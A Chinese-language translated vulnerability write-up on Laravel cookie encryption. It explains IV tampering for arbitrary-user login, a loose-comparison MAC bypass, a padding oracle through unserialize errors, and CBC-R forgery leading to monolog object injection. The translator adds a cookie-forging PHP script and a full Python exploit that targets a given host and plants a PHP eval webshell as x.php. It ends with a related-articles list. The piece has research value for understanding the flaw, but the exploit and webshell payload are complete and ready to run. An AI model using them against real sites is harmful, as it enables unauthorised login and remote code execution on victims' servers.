Laravel cookie偽造,解密,和遠端命令執行
from:laravel-cookie-forgery-decryption-and-rce
0x00 內容
0x01 名詞約定
下圖為CBC模式加密過程
下圖為CBC模式解密過程
- Plaintext: 明文(P)
- Ciphertext: 密文(C)
- Initialization Vector: 初始化向量(IV)
- Key: 金鑰(K)
0x02 簡介
Laravel PHP框架中的加密模組存在漏洞,攻擊者能夠利用該漏洞偽造session cookie來實現任意使用者登入, 在某些情況下,攻擊者能夠偽造明文對應的密文,並以此來實行遠端程式碼執行。
Laravel是一個免費,開源的PHP框架,它為現在的web開發人員提供了很多功能,包括基於cookie的session功能。 為了防止攻擊者偽造cookie,Laravel會為其加密並帶上一個訊息認證碼(MAC)。當接收到cookie時,會計算出相對應的MAC, 並與cookie所帶的MAC做比較。如果兩MAC不一致,則認為cookie已經被篡改,請求會被終止。
0x03 任意使用者登入
下面的程式碼展示了MAC驗證和解密過程:
#!php
$payload = json_decode(base64_decode($payload), true);
if ($payload['mac'] != hash_hmac('sha256', $payload['value'], $this->key))
throw new DecryptException("MAC for payload is invalid.");
$value = base64_decode($payload['value']);
$iv = base64_decode($payload['iv']);
$plaintext = unserialize($this->stripPadding($this->mcryptDecrypt($value, $iv)));
從上面的程式碼可以看出MAC只對value進行校驗,並不能保證初始化向量(IV)的完整性。 Laravel使用Rijndael-256的密碼分組連結(CBC)模式。 著也就意味著,沒有對IV進行校驗,攻擊者能夠任意修改第一個塊的明文。
Laravel “remember me”的cookie格式是user ID字串,因此惡意使用者可以修改他們自個的session cookie,達到登入任意使用者,假設我們的使用者ID為"123"
,session cookie原始明文為 s:3:"123";後接22byte的補充
: s:3:"123";\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16
(譯者注: Laravel用的是PKCS7 padding,與PKCS5不同的是,PKCS5明確填充的內容psLen是1-8, 而PKCS7沒有這限制。)
假設系統生成的cookie中的IV是這樣子的:
V\xc5\xb5\x03\xf1\xd4"\xe5+>c\xffJPN\xad\x9f\xd6\xa0\x9cV\xe3@\x9c\xd5\xa0\xd1\xddS\x1d\xc9\x84
如果我們想偽造ID為1的使用者,也就是cookie明文為s:1:"1";後接24byte的補充
,為了能夠使伺服器端成功解密出ID為1的明文, 需要按照以下步驟生成IV:
就獲得了Pb 相對應的IVb,提交新的cookie,我們就成了ID為1的使用者,也可以用同樣的方法來登入其他ID。 對攻擊者來說,能夠登入任意使用者也是相當牛逼的,但你能牛逼的程度取決於應用程式傻逼的程度。有沒有一種方法, 能夠通殺使用Laravel的應用呢?
0x04 傳送任意密文
另外一個問題,進行MAC檢驗的時候使用的是!=
。這以為著PHP在實際比較前會進行型別判斷。hash_hmac返回的結果永遠都是字串, 但是如果$payload['mac']
是一個整型,那麼強制型別轉換會使得偽造一個對應的MAC變得相對簡單, 例如,正確的MAC以"0"或者其他非數字起頭,那麼整數0將與之匹配,如果以"1x"(x非數字),那麼整數1與之匹配,依此類推。 (譯者注:作者難道沒有被1e[1-9]xxx坑過沒?)
#!php
var_dump('abcdefg' == 0); // true
var_dump('1abcdef' == 1); // true
var_dump('2abcdef' == 2); // true
由於MAC是經過json_decode處理的,攻擊者可以提供一個整型的MAC,這也就意味著,攻擊者能夠提供一個正確的MAC給任意密文。
0x05 解密密文
Laravel使用的是CBC模式的分組密碼,我們也能夠提供任意密文讓其解密,我們是否能夠實施一次牛逼哄哄的 CBC padding oracle attack攻擊呢? 答案是:在某種情況下,YES
一次有預謀的padding oracle attack攻擊需要目標應用能夠洩漏不同填充下解密的狀態,回頭看看解密過程的程式碼, 有三個地方填充狀態可能會被洩漏:
- mcryptDecrypt(): 無側漏,就是呼叫
mcrypt_decrypt()
,沒對padding進行處理 - stripPadding(): 無明顯側漏,該方法檢測padding是否合法,但不會報告錯誤,只是返回輸入是否被篡改。 這裡有個基於時間的邊通道側漏,是否多呼叫substr(),但是我們選擇無視它。
- unserialize(): 當error reporting啟用,一個不合法的PHP序列化字串,它會側漏輸入字串的長度。
嗯,當PHP reporting啟用時(其實應該是Laravel的debug模式開啟時),反序列化解密後的資料會告訴我們有多少byte的padding被去除, 例如unserialize()
爆出"offset X of 22 bytes"的錯誤時,我們就可以知道這裡有10byte的padding。
這樣的側漏對於組織一次有預謀的padding oracle attack來說,足夠!
0x06 為任意明文偽造合法的密文
既然有了個CBC decryption oracle,那就很有可能利用CBC-R技術來加密任意明文。
CBC模式的解密過程為 Pi=DK(Ci) xor Ci−1,C0=IV ,如果攻擊者能夠控制或者知曉 DK(Ci) 和Ci−1 , 他就能夠生成他想要的明文塊。既然這裡有個選擇密文攻擊,很顯然攻擊者能夠控制 Ci 和 Ci−1 , 至於DK(Ci)
我們能夠利用decryption oracle獲得,因此攻擊者無需知道金鑰K即可對任意明文加密。牛逼吧,如果應用程式使用了這套加密API,我們就偽造密文來執行敏感操作,但是這還是得取決於應用有多傻逼, 我們希望變得更牛逼。
0x07 傳送任意密文
我們已經使用unserialize()
作為我們padding oracle的基礎, 那我們再次利用unserialize()
作一次PHP物件注入來達到任意程式碼執行,如何?
經過搜尋Laravel程式碼之後,發現還是蠻多類定義了 __wakeup()
或者 __destruct()
魔術方法, 不過我發現最有趣的一個類當屬被很多專案引用的monolog PHP日誌記錄框架中的BufferHandler類,顯然,如果payload利用的是被廣泛應用的monolog而不是其他特定的類,會更為通用。 使用Composer(PHP依賴管理器)時,monolog很有可能被包含,因為它可能被註冊為PHP class autoload,這也就意味著, monolog不用被明確的包含在我們請求的檔案中,當我們反序列化的時候,PHP會自動尋找載入這個類。
BufferHandler類包裝這另外一個log處理類,當BufferHandler物件被銷燬時,BufferHandler物件會用它包含的實際處理log的物件處理它當前的log buffer,一個比較好的選擇是能夠儲存到任意流資源(比如說檔案流)的StreamHandler類,所以我們的計劃是注入一個包含StreamHandler物件的BufferHandler物件,其中StreamHandler物件的流資源指向web根目錄,並且BufferHandler內包含著帶有php webshell的log buffer,好,計劃通,行動。
利用下面的程式碼,很容易生成對應的payload:
#!php
<?php
require_once 'vendor/autoload.php';
use Monolog\Logger;
use Monolog\Handler\StreamHandler;
use Monolog\Handler\BufferHandler;
$handler = new BufferHandler(
new StreamHandler('target-file.php')
);
$handler->handle(array(
'level' => Logger::DEBUG,
'message' => '<?php eval(hex2bin($_GET[\'x\']));?>',
'extra' => array(),
));
print bin2hex(serialize($handler)) . "\n";
?>
上面的指令碼會生成我們的payload:
O:29:"Monolog\Handler\BufferHandler":3:{s:10:"\x00*\x00handler";O:29:"Monolog\Handler\StreamHandler":1:{s:6:"\x00*\x00url";s:15:"target-file.php";}s:9:"\x00*\x00buffer";a:1:{i:0;a:3:{s:5:"level";i:100;s:7:"message";s:34:"<?php eval(hex2bin($_GET['x']));?>";s:5:"extra";a:0:{}}}s:13:"\x00*\x00bufferSize";i:1;}
透過上面介紹的技巧,我們可以加密該payload,作為cookie提交上去的時候,程式碼就執行了。
0x08 譯者總結
對於原作者所說的漏洞,我拿一個開源blog laravel-4.1-simple-blog 做實驗,將關鍵檔案回滾到存在漏洞狀態,如果有人想研究,也可以在這laravel-cookie-forgery-decryption-and-rce.zip下載完整檔案。
測試1 任意使用者登入
在本地:
[email protected],得到使用者ID為62,利用以下程式碼即可獲取指定ID使用者的cookie
#!php
<?php
if ($argc < 4) {
print("[*] Usage ".$argv[0]." cookie userid targetid\n");
return;
}
$cookie = json_decode(base64_decode($argv[1]), true);
$userid = $argv[2];
$targetid = $argv[3];
$iv_a = base64_decode($cookie['iv']);
$p_a = addPadding(serialize($userid));
$p_b = addPadding(serialize($targetid));
$iv_b = base64_encode($iv_a ^ $p_a ^ $p_b);
$cookie['iv'] = $iv_b;
echo base64_encode(json_encode($cookie))."\n";
function addPadding($value) {
$block_size = 32;
$pad = $block_size - (strlen($value) % $block_size);
return $value.str_repeat(chr($pad), $pad);
}
?>
執行結果
測試2 利用padding oracle來實現RCE
我修改原作者生成payload的指令碼,對比生成的payload和原作者給的payload,發現原作者把一些無用的protect屬性給去除了, payload顯得比較短,打算直接使用作者給的payload。
但是!原作者的payload留了個大坑,正常訪問下,index.php的工作目錄是web目錄, 但是unserialize cookie之後產生的BufferHandler物件和字串做運算,而BufferHandler類沒實現__toString魔術方法, 從而導致觸發fatal error,使用register_shutdown_function註冊的回撥函式$this->close被呼叫,但是!在我測試環境ubuntu 12.04 64bit + php 5.3.10
下,觸發異常導致$this->close被呼叫的時候,工作環境被切換到了根路徑'/',從而導致寫檔案失敗。
另外一個坑是mac校驗處,本來以為(10/16.0) ** 3 = 0.244140625
,開頭連續三個數字字元的機率還算低,結果跑一遍才發現遠遠低估mac校驗這裡的情況了,比如說正確的校驗值是79e58c735e1105d7222f321031a782251da88ebd08cdc1de926ead2df4b9d3fd
, 這種情況就讓人很無奈。在實際情況中,正確的做法是換payload,在這裡我就直接換key, 最後把key換成Http://WeiBo.COM/Fatez3r0/home?Y
。 由於程式推ciphertext,推cv的關聯性,以及推1 byte cv的隨機性,多執行緒在此處意義不大。
下面是我根據上面的原理編寫的exploit
#!python
#! /usr/bin/env python
# -*- coding: utf-8 -*-
from __future__ import print_function
import re
import sys
import json
import struct
import base64
import requests
from optparse import OptionParser
def init_parser():
print("")
print("=== POC for laravel RCE ===")
print("=== by fate0 ===")
print("=== [email protected] ===")
print("=== weibo.com/fatez3r0 ===")
print("")
usage = "Usage: %prog --host http://www.fatezero.org"
parser = OptionParser(usage=usage, description="POC for laravel RCE")
parser.add_option("--host", type="str", dest="host", help="remote host name")
return parser
class LaravelOracle(object):
"""
提供32位的payload,也就是明文P
返回相對應的32byte IV
"""
block_size = 32
def __init__(self, domain, plaintext, ciphertext):
self.domain = domain
self.timeout = 7
self.re_pattern = re.compile("Error\sat\soffset\s\d{1,2}\sof\s([\d]{1,2})\sbytes", re.DOTALL | re.M)
self.plaintext = bytearray(plaintext) # 32byte的payload
self.ciphertext = bytearray(ciphertext) # 32byte的ciphertext
self.cv = bytearray() # 正確的cv (中間值)
self.iv = bytearray()
self.cookie = {
'mac': 0,
'value': self.ciphertext,
'iv': bytearray('0'*32)
}
self.modify_cookie_mac()
@staticmethod
def add_padding(value):
"""
對value進行padding
"""
pad = LaravelOracle.block_size - (len(value) % LaravelOracle.block_size)
return "{value}{padding}".format(value=value, padding=chr(pad)*pad)
@staticmethod
def format_cookie(cookie):
"""
將易操作的cookie轉換成laravel的cookie
"""
tmp_cookie = dict()
send_cookie = dict()
tmp_cookie['iv'] = base64.b64encode(cookie['iv'])
tmp_cookie['value'] = base64.b64encode(cookie['value'])
tmp_cookie['mac'] = int(cookie['mac'])
send_cookie['laravel_session'] = base64.b64encode(json.dumps(tmp_cookie))
return send_cookie
def modify_cookie_iv(self, index):
if len(self.cv) != index:
print("[-] Something Wrong")
sys.exit()
tmp_append = bytearray()
for each_c in self.cv:
tmp_append.append(each_c ^ (index+1))
self.cookie['iv'] = self.cookie['iv'][0:LaravelOracle.block_size-index] + tmp_append
def modify_cookie_mac(self):
"""
獲取正確的mac
一個32byte的分組,只有1個正確的mac
"""
while True:
send_cookie = self.format_cookie(self.cookie)
response = requests.get(self.domain, cookies=send_cookie, timeout=self.timeout)
if response.status_code == 500:
return True
self.cookie['mac'] += 1
def guess_cookie_iv_byte(self, index, value):
"""
猜測一個位元組的IV
"""
self.cookie['iv'][LaravelOracle.block_size-index-1] = value
send_cookie = self.format_cookie(self.cookie)
response = requests.get(self.domain, cookies=send_cookie, timeout=self.timeout)
re_result = self.re_pattern.findall(response.content)
if not re_result:
if index != 31:
return False
if response.status_code == 200:
self.cv.insert(0, value ^ (index+1))
return True
elif int(re_result[0]) >= LaravelOracle.block_size - index:
return False
else:
self.cv.insert(0, value ^ (index+1))
return True
def exploit(self):
for index in xrange(32):
self.modify_cookie_iv(index)
for value in xrange(256):
if self.guess_cookie_iv_byte(index, value):
break
print(index, hex(self.cv[0]))
for p_char, cv_char in zip(self.plaintext, self.cv):
self.iv.append(p_char ^ cv_char)
def main():
parser = init_parser()
option, _ = parser.parse_args()
domain = option.host
if not domain:
parser.print_help()
sys.exit(0)
domain = domain if domain.startswith('http') else "http://{domain}".format(domain=domain)
domain = domain if not domain.endswith('/') else domain[:-1]
cookie = dict()
cookie['mac'] = 0
payload = ('''O:29:"Monolog\Handler\BufferHandler":3:{s:10:"\x00*\x00handler";O:29'''
''':"Monolog\Handler\StreamHandler":1:{s:6:"\x00*\x00url";s:26:"/var/www/blog/public/x.php";}'''
'''s:9:"\x00*\x00buffer";a:1:{i:0;a:3:{s:5:"level";i:100;s:7:"message";s:34:"<?php '''
'''eval(hex2bin($_GET['x']));?>";s:5:"extra";a:0:{}}}s:13:"\x00*\x00bufferSize";i:1;}''')
padding_payload = LaravelOracle.add_padding(payload)
payload_block = reversed(struct.unpack("32s"*(len(padding_payload)/32), padding_payload))
ciphertext = bytearray('0'*32)
for each_payload_block in payload_block:
print("[plaintext] {payload_block}".format(payload_block=each_payload_block))
print("[ciphertext] {ciphertext}".format(ciphertext=base64.b64encode((ciphertext[:32]))))
LO = LaravelOracle(domain, each_payload_block, ciphertext[:32])
LO.exploit()
print("[iv] {iv}".format(iv=base64.b64encode(LO.iv)))
ciphertext = LO.iv + ciphertext
cookie['iv'] = ciphertext[:32]
cookie['value'] = ciphertext[32:]
cookie['mac'] = 0
while True:
send_cookie = LaravelOracle.format_cookie(cookie)
requests.get(domain, cookies=send_cookie, timeout=7)
if requests.get("{domain}/{backdoor}".format(domain=domain, backdoor='x.php')).status_code == 200:
print("cookie: \n{cookie}".format(cookie=send_cookie))
return
cookie['mac'] += 1
if __name__ == '__main__':
main()
執行結果
相關文章
- 遠端執行命令2016-09-06
- Laravel 擴充套件包安利系列:《spatie/laravel-remote》遠端執行 Artisan 命令2021-03-12Laravel套件REM
- Apache SSI 遠端命令執行漏洞2020-10-05Apache
- Go實現ssh執行遠端命令及遠端終端2020-12-20Go
- CentOS使用expect批次遠端執行指令碼和命令2020-07-10CentOS指令碼
- Saltstack系列2:Saltstack遠端執行命令2019-10-19
- PHPMailer遠端命令執行漏洞復現2020-12-31PHPAI
- Windows命令遠端執行工具Winexe2017-08-02Windows
- WordPress 3.8.2 cookie偽造漏洞再分析2020-08-19Cookie
- Windows更新+中間人=遠端命令執行2020-08-19Windows
- Go語言:crypto/ssh執行遠端命令2019-05-21Go
- 遠端啟動命令,讓命令程式在後臺執行2008-08-01
- 判斷ssh遠端命令是否執行結束2018-04-11
- Firefox 31~34遠端命令執行漏洞的分析2020-08-19Firefox
- Windows遠端linux伺服器執行shell命令2017-03-02WindowsLinux伺服器
- 使用paramiko遠端執行命令、下發檔案2017-09-30
- Apache Log4j2遠端命令執行漏洞2024-05-06Apache
- 記一次COOKIE的偽造登入2022-11-23Cookie
- python模組paramiko的上傳下載和遠端執行命令方法2021-09-09Python
- 隨記(九):記錄Fastjson遠端命令執行流程2020-12-08ASTJSON
- 【安全公告】Spring Core遠端命令執行漏洞預警2022-03-30Spring
- 使用NetCat或BASH建立反向Shell來執行遠端執行Root命令2013-12-20
- python模組paramiko的上傳下載和遠端執行命令方法薦2012-11-13Python
- SSH 遠端執行任務2017-05-11
- D-LinkDSP-W215智慧插座遠端命令執行2020-08-19
- ThinkPHP 5.x 遠端命令執行漏洞分析與復現2018-12-17PHP
- CVE-2017-8464 遠端命令執行漏洞復現2018-01-22
- CVE-2017-8464遠端命令執行漏洞復現2018-05-25
- 通過paramiko模組在遠端主機上執行命令2017-08-08
- SSRF 服務端請求偽造2019-04-17服務端
- PhpStrom 優雅執行 Laravel 命令2018-07-02PHPLaravel
- Python執行作業系統命令並取得返回值和退出碼,支援有互信的遠端執行2020-03-03Python作業系統
- laravel操作session和cookie2023-02-15LaravelSessionCookie
- 如何通過 SSH 在遠端 Linux 系統上執行命令2019-10-09Linux
- Oracle ASM使用asmcmd中的cp命令來執行遠端複製2018-08-17OracleASM
- 靶機練習---通達OA,遠端命令執行漏洞復現2024-07-13
- ThinkPHP遠端程式碼執行漏洞2019-09-12PHP
- phpunit 遠端程式碼執行漏洞2020-10-16PHP